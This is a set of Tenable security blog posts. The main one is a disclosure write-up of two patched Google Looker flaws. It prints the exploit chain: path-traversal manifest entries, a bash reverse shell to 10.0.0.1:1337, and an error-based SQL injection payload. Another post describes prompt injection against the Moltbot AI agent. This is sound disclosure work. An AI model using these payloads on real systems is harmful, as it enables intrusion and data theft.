Tenable Blog

From school districts to state agencies, 2025 cyber incidents were a wake-up call about asset visibility. Discover five actionable lessons SLG leaders can use to close the cyber exposure gap and move from reactive threat detection and response to proactive exposure management.

Key takeaways

1. Effective cyber defense in 2026 requires state and local government agencies (SLGs) to move beyond scheduled scans to continuous, real-time discovery of all managed and unmanaged digital assets.
2. Consolidating data from siloed cybersecurity tools into a unified visibility layer helps security teams proactively identify the identity, cloud, and network weaknesses attackers are likely to exploit.
3. The 2026 SLG cybersecurity blueprint should focus on identifying and remediating specific exposures that create viable attack paths.
4. Shifting focus from reactive threat detection and response to unified exposure management helps SLGs mitigate risks before they escalate into breaches and cause disruption.

In 2025, cyberattacks against state and local governments (SLGs) reached an alarming scale. Publicly reported incidents impacted organizations in 44 U.S. states, disrupting critical services, exposing sensitive data, and straining already limited IT and security resources. 

From state, local, and education (SLED) to utilities and public safety agencies, the breadth of attacks made one thing clear: cyber risk is systemic.

While the tactics varied, the outcomes were strikingly consistent. Attackers exploited security blind spots. They moved laterally across fragmented environments. And in many cases, SLG agencies didn’t realize the true scope of exposure until attackers had already compromised their systems.

As state and local leaders look ahead to 2026, the most important question is not whether attacks will continue, but what lessons to apply now to reduce risk moving forward.

The 2025 cyber snapshot for SLGs

The most significant cyber incidents of 2025 shared several common characteristics:

• Unknown or unmanaged assets exposed to the internet
• Unpatched vulnerabilities in legacy systems
• Misconfigured cloud services introduced during modernization efforts
• Decentralized environments with limited centralized oversight
• Delayed detection, allowing attackers to escalate privileges and expand impact

In many cases, agencies had security tools in place, but those tools operated in silos. Vulnerability scanners, endpoint detection and response tools, cloud security platforms, and identity systems all generated isolated signals, yet no unified view existed to connect them. This left security teams reacting to alerts rather than understanding how real risk moved through their environments.

The result was a widening cyber exposure gap between what agencies thought they had secured and where they actually had exposures.

Learn how to apply lessons learned to your 2026 cyber roadmap. Register for the "Bridging the Cyber Gap" webinar now.

Why 2025 was a turning point for SLG cybersecurity

For years, state and local government organizations prioritized reactive cybersecurity approaches. Limited budgets, staffing shortages, and aging infrastructure made it difficult to move beyond compliance checklists and point-in-time security assessments.

But the 2025 attacks demonstrated that reactive security no longer matches the speed or sophistication of modern cyber threats.

Attackers don’t exploit single vulnerabilities in isolation. They chain together weaknesses across identity systems, endpoints, cloud workloads, and network infrastructure. They target what defenders can’t see, including the weaknesses they don’t realize are connected.

This is where many SLGs found themselves in 2025: responding to incidents without a clear understanding of how attackers gained access, where else they could move, or which exposures posed the greatest risk next.

From vulnerability management to exposure management

While vulnerability management remains an essential foundation for cyber hygiene in any agency, the evolving threat landscape of 2026 requires building upon those basics with a comprehensive exposure management strategy. 

Rather than replacing vulnerability management, exposure management provides the critical visibility and context needed to scale security efforts across a diverse, modern attack surface.

Traditional vulnerability management answers an important question: Which vulnerabilities exist? Exposure management answers a more critical one: Which vulnerabilities actually put the organization at risk, and how could attackers exploit them?

A proactive exposure management approach focuses on:

• Complete asset visibility: Identifying known, unknown (shadow IT), on-prem, cloud, and remote assets
• Contextual risk prioritization: Understanding which exposures matter most based on exploitability and business impact
• Attack path analysis: Seeing how individual weaknesses connect across systems
• Continuous monitoring: Adapting as environments change, not just during scheduled scans

For state and local governments, this shift is especially important. Decentralized governance models, independent local agencies, and mixed infrastructure make it nearly impossible to manage cyber risk without a unified view.

Learn how to build a 2026 exposure management roadmap for SLGs. Register for the webinar now.

5 cyber lessons for SLG leaders in 2026

SLG leaders can use lessons learned from last year’s cyber incidents to drive action in 2026:

1. You can’t protect what you can’t see

In many of the most damaging cyber attacks, threat actors exploited assets agencies didn’t realize were exposed, including S3 buckets in the cloud and network devices on premises. Continuous asset discovery is no longer optional.

2. Cyber risk lives between tools

Siloed cloud, identity, OT, AI, and network security tools leave gaps attackers are happy to exploit. Attack surface visibility must extend into AI tools, across systems, teams, and environments, whether cloud or on-prem.

3. Decentralization requires central insight

Even when security operations are local, leadership needs centralized visibility into risk across agencies, counties, and districts.

4. Prioritization is everything

Security teams can’t fix everything, but they can fix what matters most using threat and business context.

5. Proactive beats reactive, every time

Agencies that proactively identify and close exposures dramatically reduce their risk.

Preparing SLGs for 2026: Closing the cyber exposure gap

As state and local governments move into 2026, cloud adoption will expand, AI tools will introduce new risks, regulatory scrutiny will grow, and attackers will keep targeting the public sector.

The agencies best positioned to meet these challenges will be those that move beyond reactive defense and embrace exposure management as a whole-of-state cybersecurity strategy.

Bridging the cyber exposure gap doesn’t start with more tools. It starts with better visibility, richer context, smarter prioritization, and a proactive understanding of how risk truly exists across the environment.

The lessons of 2025 are clear. The opportunity in 2026 is to act on them.

Is your agency ready to build a proactive cybersecurity strategy for 2026? Join us at 2 p.m. ET Feb. 5 for our webinar, "Bridging the cyber gap: From 2025 hits to 2026 threats," where you can dive deeper into these SLG cyber trends and get a blueprint for a proactive defense.

Register now for the webinar.

Tenable Research discovered two novel vulnerabilities in Google Looker that could allow an attacker to completely compromise a Looker instance. Google moved swiftly to patch these issues. Organizations running Looker on-prem should verify they have upgraded to the patched versions.

Key takeaways

1. Two novel vulnerabilities: Tenable Research discovered a remote code execution (RCE) chain via Git hook overrides that could lead to cross-tenant access, and an internal database exfiltration flaw via internal connection abuse (CVE-2025-12743) that could lead to the exposure of sensitive data. We have collectively dubbed both vulnerabilities as “LookOut.”
2. Cross-tenant breach potential: The RCE vulnerability bypassed cloud isolation in Google-hosted environments, creating a pathway for attackers to potentially "hop" between different customer environments and access private data.
3. Unpatched on-premises risk: While Google patched the vulnerabilities on its managed Looker in Google Cloud, organizations running customer-hosted or on-premises versions remain critically exposed until they apply the necessary security patches.

Google Looker stands out as a powerful business intelligence platform. It allows organizations to define data relationships using LookML, a Google proprietary modeling language, and visualize that data in real-time. Because Looker is often the central nervous system for an organization's most sensitive data, the security of its underlying architecture is crucial.

Looker operates under two primary deployment models: A SaaS version of Looker, where the instance is fully managed by Google Cloud; and customer-hosted version, where the organization deploys the Looker JAR file on its own infrastructure (on-premises or private cloud). This distinction is critical to the impact of our findings: while SaaS environments rely on the provider’s security controls, customer-hosted instances place the full burden of infrastructure security and patching on the organization using Looker. A different, but similarly-named product -- Looker Studio -- isn't impacted by our vulnerability findings.

LookOut could allow an attacker to completely compromise a Looker instance:

1. A remote code execution (RCE) chain that grants an attacker the ability to run arbitrary code on the Looker server. In practical terms, this provides full administrative access to the underlying infrastructure, allowing an attacker to steal sensitive secrets, manipulate data, or pivot further into the internal network. In cloud instances, the vulnerability could potentially lead to cross-tenant access.
2. An authorization bypass that allowed attackers to attach to Looker’s internal database connections and exfiltrate the full internal MySQL database via error-based SQL injection.

These issues were reported to Google via the Cloud Vulnerability Reward Program (VRP) and fixed promptly. We want to thank Google’s Cloud VRP for the support, collaboration, and professionalism. Organizations using customer-hosed and on-prem versions of Looker are advised to deploy available patches as soon as possible and read the following security bulletin.
 

 

Vulnerability #1: RCE via Git hooks config override and path traversal

The first vulnerability exploits how Looker handles remote dependencies in LookML projects, leading to arbitrary code execution. An attacker could create a malicious LookML project to run code on Looker’s server.

The exploit chain

We reviewed Looker’s source code and achieved a full RCE, by chaining the following primitives together:

1. Arbitrary directory creation
2. Path traversal in multiple inputs
3. Race condition

This effectively gave us control over the Looker instance, potentially allowing us to access secrets and cross-tenant data.

Background

The target: LookML project manifests and Git hooks

Looker allows developers to define "remote dependencies" in a file called manifest.lkml. This feature lets you import LookML views and models from other Git repositories.

A standard dependency looks like this:

LookML

remote_dependency: public_project { url: "https://github.com/llooker/google_ga360" ref: "07a20007b6876d349ccbcacccdc400f668fd8147f1" }

 

LookML project example

When you save this, Looker clones that repository into:

/home/looker/looker/remote_dependencies/<project name>/

Crucially, every Looker project is a Git repository. Looker uses Git hooks and hardcodes the Git hooksPath in the .git/config file to a safe location: 

../../git_hooks/<remote_dependency_name>The spark

We knew that every LookML project is, at its core, a Git repository. That means somewhere on the file system, there is a .git folder governing its behavior.

We navigated to one of the project directories on our testing instance, specifically models-user-looker, and opened the repository-specific configuration file: .git/config.

Here is what we saw:
 

Our eyes immediately locked onto the last line: hooksPath.

For those unfamiliar with Git internals, hooksPath is a configuration variable that tells Git, "Don't look for hook scripts in the default .git/hooks folder. Look here instead." Git hooks are powerful. They are scripts (bash, python, etc.) that execute automatically when certain events happen, like a commit or a push.

Looker, seemingly aware of this danger, had hardcoded this value to point to ../../git_hooks/, a directory outside the project root that is supposed to be read-only and managed by the system.

But then we looked more closely at the path structure.

The value was: ../../git_hooks/my_remote_project_name.

We asked ourselves: Where does that project name string come from? It comes from the manifest.lkml file we define as a user:

remote_dependency: my_remote_project_name { ... }

That string isn't generated by the system; it’s input we control. And it’s being concatenated directly into a file path string in the config. 

Our gears started turning immediately.

If Looker is just taking our string and pasting it into that config file, what prevents us from using standard directory traversal characters?

If we named our project ../../../../tmp/pwned, would the config result in hooksPath = ../../git_hooks/../../../../tmp/pwned?

If that hypothesis held true, we effectively had a "Git hook configuration override" primitive. We could point the hooks path away from Looker’s folder and point it to any directory on the server where we could write files. And if we can tell Git to run scripts from a folder we control, we can execute arbitrary code.

This was the starting point. 

Ingredient 1: The config path traversal (the setup)

Our first thought was simple: Can we break out of the folder structure using the dependency name?

We crafted a manifest where the dependency name contained traversal characters:

remote_dependency: ../../../../../../my_custom_hooks_folder { url: "https://github.com/llooker/google_ga360" ... }

 

The remote dependency name is used as the value injected into the hooksPath value, while the ref points to the Git repository whose .git folder will be overridden with this injected value. The repository we chose to override is the one where Git operations are executed when using the LookML project regularly, allowing us to trigger the hooks.

It worked. Looker accepted the name and wrote it directly into the .git/config hooksPath. Instead of pointing to the safe folder, the config now pointed to: 

../../git_hooks/../../../../../../my_custom_hooks_folder

The issue? The config path traversal did not really work. Our malicious custom hooks did not run.

Ingredient 2: The directory creation (the roadblock)

We had a path traversal, but we hit a wall. For the traversal to work, the base directory (git_hooks) had to exist. We were not sure why, but in the environment we were attacking, this folder wasn't there. The file system would reject the path if one of the directories defined in the traversal didn't exist.

We then thought we could try to find a primitive to create an arbitrary directory.

We realized the remote_dependency logic does more than just write configs; it performs git clones. By manipulating the ref (the branch or commit hash) and the name of another dependency, we could trick the system.

We created a dummy dependency:

remote_dependency: git_hooks_creator { url: "https://github.com/llooker/google_ga360" ref: "../../git_hooks" }

This payload forced the system to try and clone data into a path named ../../git_hooks. As a side effect of this operation, the system created the git_hooks directory to satisfy the request.

Now the path existed. The traversal was valid.

Ingredient 3: The weaponized repo (the payload)

We had a way to redirect the hooksPath (Ingredient 1), and a way to ensure the directory existed (Ingredient 2). Now the critical question: How do we write files to the server, to then execute them as hooks?

Pointing the configuration to a folder is useless if that folder is empty or contains non-executable files. 

We can use the url definition in a remote dependency and use the Looker service as is, to clone a repository we control -- and with that, write arbitrary files to the Looker server. To point the hooksPath to the repository folder, we can traverse with the path traversal that we found. 

For Git to execute a hook (like pre-commit or post-commit), two conditions must be met:

1. The file must exist with the correct name (e.g., pre-commit).
2. The file must have the executable permission bit set (+x).

This created a challenge. Typically, when you clone a repository, Git doesn't automatically trust or preserve the file permissions from your local machine blindly -- with one major exception. Git does record the executable bit (100755) in its internal tree objects if it’s explicitly told to do so.

If we just created a script on our machine, ran chmod +x script.sh, and pushed it, the executable bit might be preserved depending on the client’s OS and configuration. We wanted a guarantee. We needed to manipulate the Git index directly to ensure that any client cloning this repo (including the Looker server) would be forced to write that file to disk as an executable.

We used the following Git command on our attacker machine:

git update-index --chmod=+x hook

Why this Git command matters: Standard chmod changes the file system metadata on your computer. git update-index changes the metadata in the Git index itself. It tells Git: "I don't care what the file system says; when you store this file in the repo object, mark it as an executable binary."

So, the attack setup looked like this:

1. We created a malicious repository hosted on GitHub.
2. Inside, we placed a bash script named pre-commit containing our reverse shell payload.
3. We forced the executable bit in the Git index.
4. We pushed this "weaponized repo" to the web.

 

Now, when Looker cloned this "innocent" remote dependency (using the directory creation primitive from Ingredient 2), it dutifully followed the instructions in the Git tree object. It wrote our pre-commit script to the disk and set the executable bit.

Because of our config path traversal (Ingredient 1), Looker’s config was now pointing the hooksPath to the exact folder where this cloned, executable, and malicious script was waiting. The trap was set.

The payload script:

#!/bin/bash /bin/bash -i >& /dev/tcp/10.0.0.1/1337 0>&1Ingredient 4: Git hooks won’t run

We had the config pointed at our script. We had the script in place. But for some reason, the hooks did not run when we tried to run the exploit.

We found out that the problem was JGit.

By default, Looker uses JGit (a Java implementation of Git) for all repository operations. JGit doesn't support Git hooks, therefore, it does not run scripts from hooksPath the way native Git does. 

However, we knew there should be a Git implementation in the code base so we kept reviewing Looker’s code. We found a specific deployment flow that allows deploying a Looker project with an attached Git repository, where Looker executes real Git commands instead of JGit. Looker then falls back to executing real system Git commands.

Moshe Bernstein, Tenable Senior Security Researcher, played a pivotal role here. He helped hunt down this specific needle in the haystack. He found the exact parameters that needed to be set by following the code execution flow from sending the project creation request to the endpoint to creating a Git repository inside Looker that works with Git and not JGit. By sending a specific set of POST parameters, we could create a repository that works with Git in the code flow, and not with JGit.

These specifically were the POST parameters to create a Looker Git repository that works with Git commands when interacted with:

git_auth_configured=true&git_application_server_http_scheme=&git_application_server_http_port=&skip_tests=true&reset_deploy_key=falseIngredient 5: The race condition (the trigger)

There was another problem: before running a Git command, Looker overwrites the .git/config as part of the code flow. This leads to the hooksPath value being reset and changed to the default and safe value. It cleans up our mess before we can exploit it.

To tackle the problem, this is where the race condition comes in:

1. Looker starts the operation.
2. Looker writes the Safe config.
3. Looker executes git commit.

We needed to inject step 2.5: Overwrite the config with our malicious path.

Because the file system write (the config update) and the execution (the commit) are distinct events, we could hammer the API. We set up a script to spam the "save manifest" endpoint (which writes our malicious traversal to the config) while simultaneously triggering the "commit" endpoint.

After a few tries, we won the race. The system executed git commit, checked the config (which we had just overwritten), followed the hooksPath to our malicious directory, and executed our script.

As an example, we dropped a txt file inside the /tmp directory:
 

Result: RCE on the Looker instance

For Looker’s Google-managed instances in Google Cloud Platform (GCP), the RCE could affect cross-tenant victims. By accessing a shared secrets folder, attackers could laterally move to other GCP customers.

For on-premises and self-hosted versions, the threat shifts from cross-tenant access to code execution, leading to internal lateral movement.

Vulnerability #2: Full internal database exfiltration

The second vulnerability allowed us to peer behind the curtain of Looker's internal management.

Internal connections

While poking inside Looker’s logs, we found out that Looker manages its own metadata, users, and permissions using an internal MySQL database with internal database connections. Each Looker project has a Looker instance with its own MySQL internal database. Access to these internal connections is strictly restricted and should not be accessible to standard users or developers.

Yet, one of the logs leaked the internal Looker database connection, named looker__ilooker. 

Proxying to internal connections

When creating a new LookML project, customers should select a connection to their own database to use their data inside the created project. The UI restricts users from selecting database connections that they don’t own and only lists the database connections that they created and are available to them. 

Armed with the knowledge that internal connections and internal databases are used to manage Looker instances, we were able to intercept the HTTP request and modify the connection parameter directly. We could then bypass the UI validation and attach to an internal connection.
 

We simply proxied the request and changed the connection name to looker__ilooker. Looker accepted the request, attaching our user-controlled project to its highly sensitive internal database.
 

Exfiltrating data with error-based SQL injection

With the project attached to the internal database, we still needed a way to extract data. 

We turned to Looker's "data tests" feature. 

In LookML tests, the “sql” field lets you run a custom SQL query directly against the attached database connection to validate data conditions. Luckily for us, in the project we just created, the attached database connection is the internal Looker database we attached.

Even though LookML data tests allow a sql field, Looker still controls how that SQL is executed. The SQL is expected to be a Boolean-style validation query, results are not fully returned to the user, and you typically only see pass/fail, not raw query output.

So while the SQL runs, its output isn’t exposed in a way that lets you read any meaningful data.

We came up with the idea of creating a LookML test that included an error-based SQL injection payload inside a dimension definition, to leak data with errors:

LookML

dimension: id { type: number sql: updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null) ;; }

When we ran the data test, the underlying database attempted to execute this SQL. Because of the updatexml function, the database threw an error that contained the result of our subquery.

The result: 

XPATH syntax error: '~dev::uri:classloader:/helltool/'

By iterating through offsets, we could dump the entire internal database - users, configurations, and secrets - byte by byte. After confirming that we could have leaked data with the vulnerability, we did not escalate further.

Conclusion and next steps

These two vulnerabilities demonstrate that even mature, widely used platforms can harbor significant security risks.

The "LookOut" vulnerabilities serve as a reminder that Business Intelligence (BI) platforms are high-value targets.

The discovery of a cross-tenant RCE path underscores the complexity of securing cloud environments. It’s hard to secure systems while giving users highly powerful capabilities, such as running SQL and indirectly interacting with the file system of the managing instance.

The bottom line: While Google has moved swiftly to patch these issues, the burden of security now shifts to customer-hosted administrators. Organizations running Looker on-premises must verify they have upgraded to the patched versions.

If your Looker instance is self-hosted, we recommend upgrading your Looker instances to one of the following versions:

25.12.30+

25.10.54+

25.6.79+

25.0.89+

24.18.209+

Note: releases 25.14 and above are not affected by these security issues.

Tenable Research has disclosed all of these issues to Google and directly worked with them to fix the vulnerabilities. The Google security bulletin can be seen here. The associated TRAs are TRA-2025-44 and TRA-2025-43.

To get more information about how to protect your cloud environments, visit the Tenable Cloud Security page.

Moltbot, the viral AI agent, offers immense power but is riddled with critical vulnerabilities, including remote code execution (RCE), exposed control interfaces, and malicious extensions. Read on to understand the vulnerabilities associated with Moltbot and the immediate security practices users must prioritize to mitigate this enormous agentic AI security risk.

Key takeaways

1. Moltbot takes an AI agent, gives it access to your computer, your communication streams, your accounts, and much, much more.
2. Given the severe and active threats, including exposed control interfaces, authentication bypasses, and malicious extensions, users must prioritize the security practices outlined below.
3. The convenience of incredible power cannot outweigh the risk that Moltbot’s vulnerabilities create.

What is Clawdbot?

Clawdbot (recently rebranded as Moltbot and subsequently to OpenClaw due to a trademark dispute with Anthropic) is a viral open-source AI assistant. It has been praised for its ability to autonomously execute tasks on local hardware, exemplifying what modern AI can do to truly help end users. As of January 2026, and coinciding with the application's widespread viral adoption, security researchers have identified multiple significant vulnerabilities that place Moltbot users at risk.

What is Moltbot used for?

Moltbot is a multi-function AI agent designed to perform many tasks. Indeed, the website claims it “Works With Everything.” Some features include:

• Setup: Runs on any machine with a choice of models.
• Integrations: Works with any chat app
• Browse the Web: Submit forms on your behalf, find information.
• Memory: Remembers context about you and your preferences
• Extensible: Use or write plugins and skills
• Access: Ability to read and write to disk, execute commands, and more.
• Sandbox: Tools and agents can run inside Docker containers and require approval.

The agent already has an enormous list of official and custom integrations. Given the large feature set, Moltbot must also have a large attack surface. Let’s take a look at Moltbot from an agentic AI security perspective.

Is Moltbot safe? Critical agentic AI security vulnerabilities

• Remote code execution (RCE): Coding issues in the gateway could allow attackers to run commands on the host system with the same permissions as the user, potentially leading to full system compromise. A researcher from depthfirst identified CVE-2026-25253, chaining two findings to execute code on the bot. Two more command injection CVEs have been identified (CVE-2026-24763 and CVE-2026-25157).
• Malicious skills: An OpenClaw bot at Koi identified a few hundred malicious skills in the ClawHub skills repo.
• Exposed control interfaces: Researchers from SlowMist and other firms found that many users misconfigure their setups, leaving the Clawdbot Control web interface publicly accessible on the internet without password protection.
• Authentication bypass: A flaw in how the gateway handles localhost connections allows external attackers to bypass login protections when the software is deployed behind a common reverse proxy (like Nginx).
• Sensitive data leaks: Moltbot stores authentication tokens (API keys), user profiles, and memories in plaintext Markdown and JSON files. Attackers who gain access can steal these keys to take over accounts or conduct Cognitive Context Theft using private conversation histories.
• Indirect prompt injection: Because the tool can read emails, chat messages, and web pages, malicious actors can send messages that trick the AI into executing unauthorized commands, such as exfiltrating data or deleting files.

Recent risks and rebranding

• Trademark rebrand: On January 27, 2026, the project was renamed Moltbot following a legal request from Anthropic.
• Account hijacking: During the name change, the original @clawdbot handles on X and GitHub were immediately snatched by crypto scammers who are now using them to promote fake tokens ($CLAWD) to the project's more than 60,000 followers.
• Second trademark rebrand: On January 29, the project was renamed OpenClaw.
• Malicious extensions: Fake "Clawdbot Agent" extensions for VS Code have been discovered. These fake extensions install trojans and remote access malware on users’ machines.

Recommended security practices for Moltbot users

If you choose to run this software, security experts recommend several immediate hardening steps:

• Strict whitelisting: Use the OpenClaw Security Guide to explicitly whitelist only necessary tools and block dangerous shell execution capabilities.
• Verify gateway settings: Ensure gateway.auth.password is set and verify that your reverse proxy correctly passes headers so authentication is not bypassed.
• Use sandboxing: Enable sandbox mode for the AI agent to restrict its access to your filesystem and browser.
• Run security audits: Use the built-in security audit tool periodically to check for exposed ports or misconfigurations.
• Restrict token access: Moltbot uses API keys and other tokens to access services. These should all be scoped appropriately to allow just enough access and disallow dangerous actions.
• Privacy: Moltbot can be added to group channels where it can read and parse untrusted messages. To help mitigate the risk of prompt injection, grant access only to trusted people and channels.

Tenable plugins for Moltbot and OpenClaw

Tenable One has detection plugins for Moltbot. A list of Tenable plugins for this vulnerability can be found on the search page for Moltbot and OpenClaw as they’re released. These links will display all available plugins for this vulnerability, including upcoming plugins in our Plugins Pipeline.

Threat actors compromised the update infrastructure for Notepad++, redirecting traffic to an attacker controlled site for targeted espionage purposes.

Change log

Update February 4: This FAQ blog has been updated to note that CVE-2025-15556 was assigned for this security incident.

Click here to review the change log history

Update February 4: This FAQ blog has been updated to note that CVE-2025-15556 was assigned for this security incident.

Key takeaways:

1. Beginning in June 2025, threat actors compromised the infrastructure Notepad++ uses to distribute software updates.
    
2. The issue has been addressed and Notepad++ have released 8.9.1 which now includes XML signature validation (XMLDSig) for security updates.
    
3. Reports suggest that the attack was carried out by a Chinese threat actor known as Lotus Blossom.

Background

Tenable’s Research Special Operations (RSO) team has compiled this blog to answer Frequently Asked Questions (FAQ) regarding the disclosure of a supply chain compromise of Notepad++.

FAQ

What happened with Notepad++?

On February 2, Don Ho, creator of Notepad ++, a source code and text editor for Windows, published a blog detailing the investigation into a supply chain security incident.

What kind of security incident is this?

According to the blog post, threat actors compromised the infrastructure by which Notepad++ would distribute software updates. This compromise allowed the attackers to redirect update traffic from its intended destination (notepad-plus-plus dot org) to an attacker-controlled site.

When did this security incident begin?

The security incident began in June 2025.

How long did the security incident last for?

Roughly six months. The compromised infrastructure was accessible until September 2, 2025. However, because the attackers possessed valid credentials for the internal services of the infrastructure provider, they were able to continue redirecting Notepad++ update traffic until December 2, 2025.

Was this incident known prior to February 2?

Yes, Ho published a blog post on December 9 regarding the release of version 8.8.9 and noted that security experts “reported incidents of traffic hijacking affecting Notepad++.” The full scope of the security incident wasn’t known at the time as the investigation was ongoing.

Has this attack been linked to a specific threat actor?

Yes, reports suggest that the attack was carried out by a Chinese threat actor known as Lotus Blossom, also known as Bilbug, Raspberry Typhoon or Thrip.

What do we know about Lotus Blossom?

Lotus Blossom has been operating since 2009, known for deploying various backdoor malware. Regionally, the group has a penchant for targeting entities across Asia including government and the defense sector.

How widespread was this Notepad++ attack?

Despite the widespread usage of Notepad++, reports indicate that Lotus Blossom focused more on espionage of certain targets through the deployment of malware rather than financially motivated cybercrime like ransomware or extortion.

Were there any vulnerabilities associated with this security incident?

On February 2, CVE-2025-15556 was assigned for this security incident. CVE-2025-15556 is a download of code without integrity check vulnerability.

Are there software updates available for this security incident?

Yes, Notepad++ have released 8.9.1 which now includes XML signature validation (XMLDSig) for security updates with additional signing enforcement expected in version 8.9.2.

Affected ProductAffected VersionsFixed VersionsNotepad ++8.9 and lower8.9.1 and above

Has Tenable released any product coverage for these vulnerabilities?

Yes, a Tenable plugin to identify vulnerable versions of Notepad++ can be found here.

This link will display all available plugins for these vulnerabilities, including upcoming plugins in our Plugins Pipeline.

Get more information

• Notepad++ Hijacked by State-Sponsored Hackers
• Notepad++ v8.8.9 release: Vulnerability-fix

Join Tenable's Research Special Operations (RSO) Team on Tenable Connect and engage with us in the Threat Roundtable group for further discussions on the latest cyber threats.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

Tenable Cloud Security continues to expand the technical depth of our Tenable One exposure management platform. Our latest enhancements include unified multi-cloud exploration, high-fidelity network validation, and expanded entitlement visibility across infrastructure and identity providers.

Key takeaways

1. Graph-based multi-cloud exploration: We’ve leveraged our unified data model to provide deep visibility across all cloud environments. You can now easily explore cloud risks and resources using an advanced query builder to build and save queries, and switch to Graph view to instantly visualize complex asset relationships and blast radius.
2. Outside-In network attack surface validation: A new external network scanner probes environments to confirm reachability, allowing teams to prioritize vulnerability mitigation based on verifiable external exposure
3. Comprehensive identity inventory: We’ve expanded our identity inventory to unify entitlement tracking across cloud platforms, including Microsoft Entra ID and Google Workspace. This allows teams to instantly pinpoint overprivileged roles and unused policies to enforce least privilege at scale.

Explorer: Unified query and relationship mapping 

Fragmentation of data across disconnected tools is a primary hurdle in multi-cloud security, often forcing teams to pivot between siloed views to find context. To address this, we have introduced Explorer, a unified interface for deep-dive analysis into resources and findings across your cloud estate. This capability moves beyond static views, allowing security teams to precisely identify risk by querying across objects using granular filters, logical operators, and relationship-based joins.

With the Explorer, you can:

• Perform complex correlations: Use advanced query logic and joins to connect disparate data points, such as linking specific vulnerabilities to their underlying cloud identities or identifying storage buckets that contain sensitive data and are being used for training by AI models.
• Streamline operations: Leverage saved query configurations to standardize repetitive auditing tasks and ensure consistency across compliance reviews.
• Visualize the blast radius: Utilize the Graph view to map asset dependencies, providing a clear visual understanding of how vulnerabilities can propagate through your environment.
   

The Explorer unifies multi-cloud resources into a single interface, allowing teams to query complex asset relationships and instantly visualize the potential blast radius via Graph view.

Network security: High-fidelity exposure validation

To improve prioritization accuracy, we have enhanced Tenable’s network scanner to perform outside-in probing of your cloud environments' attack surface. Rather than relying solely on static cloud configuration analysis of publicly exposed cloud resources – which can often lead to false positives — this tool conducts an external reachability analysis to confirm whether an endpoint is actually accessible from the internet. By validating real-world exposure, security teams can filter out noise and surface the small percentage of vulnerabilities that pose a genuine external threat.

To translate this validation into action, you can now filter exposed network endpoints by resource type (such as EC2 instances, S3 buckets, and databases), specific ports, host IPs, and other properties. This granularity makes it easier to isolate specific segments of your infrastructure and accelerate targeted remediation of your most critical external exposures.
 

The Tenable network scanner actively verifies external reachability to confirm internet-exposed workloads

IAM security: Expanded entitlement visibility and insight

Managing identity risk requires deep visibility into both cloud infrastructure and identity providers (IdPs). We have expanded our cloud infrastructure entitlement management (CIEM) capabilities to provide a comprehensive inventory of entitlements across AWS, Azure, GCP, Microsoft Entra ID, and Google Workspace. The Inventory view now displays all roles and identity-based policies—regardless of whether they are currently active. This technical baseline is essential for identifying "ghost" identities and stale permissions that increase the attack surface. Furthermore, administrators can now define custom security policies for any role category, including those not yet deployed in the environment. This enables the establishment of proactive governance and least-privilege guardrails that scale automatically as new resources are provisioned.

Comprehensive posture: Public AMI scanning

Our AWS coverage now includes support for public Amazon Machine Image (AMI) scanning. This allows organizations to assess the security posture of vendor-provided and AWS-published images within their own environment. By analyzing these images for vulnerabilities and misconfigurations, teams can mitigate supply chain risks before they are integrated into production workloads.
 

Audit-vendor and AWS-published images in your posture assessments to mitigate supply chain risk

Guided use cases: Solve real problems, fast

This month, we’ve added two high-impact use-case packages to help you build an exposure management foundation:

• Prioritize cloud risk that matters most. Use AI-Powered VPR and toxic combination analysis to cut through the noise, reducing remediation time by 80%. See a demo.
   
• Secure AI workloads. Discover and protect sensitive data powering AI workloads while continuously assessing the underlying AI infrastructure and configurations. Learn more by reading a solution overview.
   

 

Advance your security maturity

Maturing a cloud security program requires a shift from managing individual findings to understanding functional resilience. By unifying visibility, validating network reachability, and auditing identity, organizations build the foundation to manage exposure at scale. Tenable Cloud Security is the critical pillar of the Tenable One exposure management platform that provides these comprehensive CNAPP capabilities. Reflecting the real-world value delivered to users, Tenable was recently recognized as a 2025 Customers’ Choice in the Gartner® Peer Insights™ 'Voice of the Customer': Cloud-Native Application Protection Platforms (CNAPPs). 

Frequently Asked Questions

1. Which identity platforms are now included in the expanded inventory? Coverage has expanded beyond standard cloud providers to include Microsoft Entra ID and Google Workspace, providing visibility into the full "identity-to-data" path.
2. What is the primary technical advantage of the Explorer Graph view? It replaces isolated alerts with a visual map of asset relationships, helping teams visualize how a single vulnerability could impact adjacent resources.
3. How does the network scanner differ from standard configuration checks? It actively probes the environment from an external perspective to confirm service reachability – assessing exposure more accurately than static code analysis alone.
4. Why scan public AMIs? This ensures that third-party images, often used as base layers for workloads, are audited for vulnerabilities within the context of your specific security requirements.

Learn more:

• What is CTEM?
• Tenable Cloud Security
• Identify and secure AI workloads demo

Gartner, Voice of the Customer for Cloud-Native Application Protection Platforms, 24 December 2025, By Peer Community Contributor

Gartner and Peer Insights are trademarks of Gartner, Inc. and/or its affiliates. Gartner Peer Insights content consists of the opinions of individual end users based on their own experiences with the vendors listed on the platform, should not be construed as statements of fact, nor do they represent the views of Gartner or its affiliates. Gartner does not endorse any vendor, product or service depicted in this content nor makes any warranties, expressed or implied, with respect to this content, about its accuracy or completeness, including any warranties of merchantability or fitness for a particular purpose.

Two Critical vulnerabilities in Ivanti’s popular mobile device management solution have been exploited in the wild in limited attacks

Key takeaways:

1. Patch Ivanti EPMM immediately. Both CVE-2026-1281 and CVE-2026-1340 have been exploited in the wild, though impact has been limited so far. Apply the temporary RPM patches now while waiting for version 12.8.0.0 to be released in Q1 2026.
    
2. Threat actors routinely target Ivanti. These products are a frequent target for attackers, as evidenced by the multiple vulnerabilities in EPMM that have been exploited-in-the-wild since 2020.
    
3. Exploitation risk is high. With public proof-of-concept code already available for both CVEs, expect widespread scanning and exploitation attempts.

Background

On January 29, Ivanti released a security advisory to address two critical severity remote code execution (RCE) vulnerabilities in its Endpoint Manager Mobile (EPMM), formerly known as MobileIron Core, a mobile management software used for mobile device management (MDM), mobile application management (MAM) and mobile content management (MCM).

CVEDescriptionCVSSv3CVE-2026-1281Ivanti Endpoint Manager Mobile Remote Code Execution Vulnerability9.8CVE-2026-1340Ivanti Endpoint Manager Mobile Remote Code Execution Vulnerability9.8Analysis

CVE-2026-1281 and CVE-2026-1340 are both code injection vulnerabilities in Ivanti’s EPMM. An unauthenticated attacker could exploit these vulnerabilities to gain remote code execution.

Limited exploitation observed

